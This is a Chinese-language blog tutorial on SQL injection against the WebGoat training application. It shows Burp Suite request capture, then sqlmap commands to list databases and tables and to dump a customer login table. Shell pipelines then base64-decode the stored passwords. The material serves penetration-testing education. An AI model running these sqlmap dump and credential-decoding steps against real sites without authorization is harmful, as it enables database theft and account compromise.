黑客如何在渗透测试过程中导出网站数据库?

相关阅读

视频讲解

黑客如何在渗透测试过程中,发现SQL注入漏洞,最终完成数据库导出,也就是我们常说的“脱库”,本期视频将详细讲解

  • 使用BurpSuite抓包,导出请求包
  • 使用SQLMAP调用请求包,并完成自动化的SQL注入
  • 使用SQLMAP导出数据库
  • 最终使用特定解码方式找到所有账户密码

图文讲解

首先,我们打开burpsuite的插件foxyproxy,设置为burpsuite代理的端口8080

图片[1]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

打开burpsuite,确保已经开启了拦截

图片[2]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

回到网页点击提交按钮

图片[3]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

这时我们可以看到拦截的请求,可以将其复制下来

图片[4]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

通过echo可以输出为request.txt文件,当然你也可以自己手动创建

图片[5]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

接下来我们可以通过sqlmap来自动注入刚才的请求

sqlmap -r request.txt
图片[6]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

发现可以进行注入,我们就可以导出数据库了

sqlmap -r request.txt --dbs
图片[7]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

下面是我们查找到的数据库,我们这里的目标数据库是webgoat_coins下面的表和数据

图片[8]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

继续输入下面的命令

sqlmap -r request.txt -D webgoat_coins --tables
图片[9]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

然后我们可以找到webgoat_coins数据库下面的表,我们猜测customerlogin可能存储了客户的信息

图片[10]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

我们尝试导出customerlogin表下的数据

sqlmap -r request.txt -D webgoat_coins -T customerlogin --dump
图片[11]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

可以看到客户的电子邮件、账户、密码、安全问题等等信息,我们分析密码发现它的长度不是统一的,因此不是哈希类型,因此可能只是做了某种编码,大概率是base64

图片[12]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

我们以其中一个为例,进行解码

echo "MTIzNDU2" | base64 --decode

我们发现密码居然是123456

图片[13]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

接下来的就是批量进行解码了,如果你熟悉|管道命令,可以很轻松搞定

我们可以先将其用同样的方式保存到password.txt文件中

图片[14]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

然后输入下面的命令

awk '{print $8}' password.txt | base64 --decode

我们发现出现了invalid input的报错

图片[15]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

经过分析

图片[16]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

我们发现是密码前的|竖线对此产生的影响

图片[17]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

最终我们通过tr删除了其中的|竖线,输入下面的命令

awk '{print $8}' password.txt | tr -d '|' | base64 --decode
图片[18]-黑客如何在渗透测试过程中导出网站数据库?-FancyPig's blog

当然,你还可以使用其他的管道命令完成自动换行,这里不再赘述!

到此密码的破解也算完成了,是不是感觉今天学到了很多呢?

© 版权声明
THE END
喜欢就支持一下吧
点赞37赞赏 分享
评论 共7条

请登录后发表评论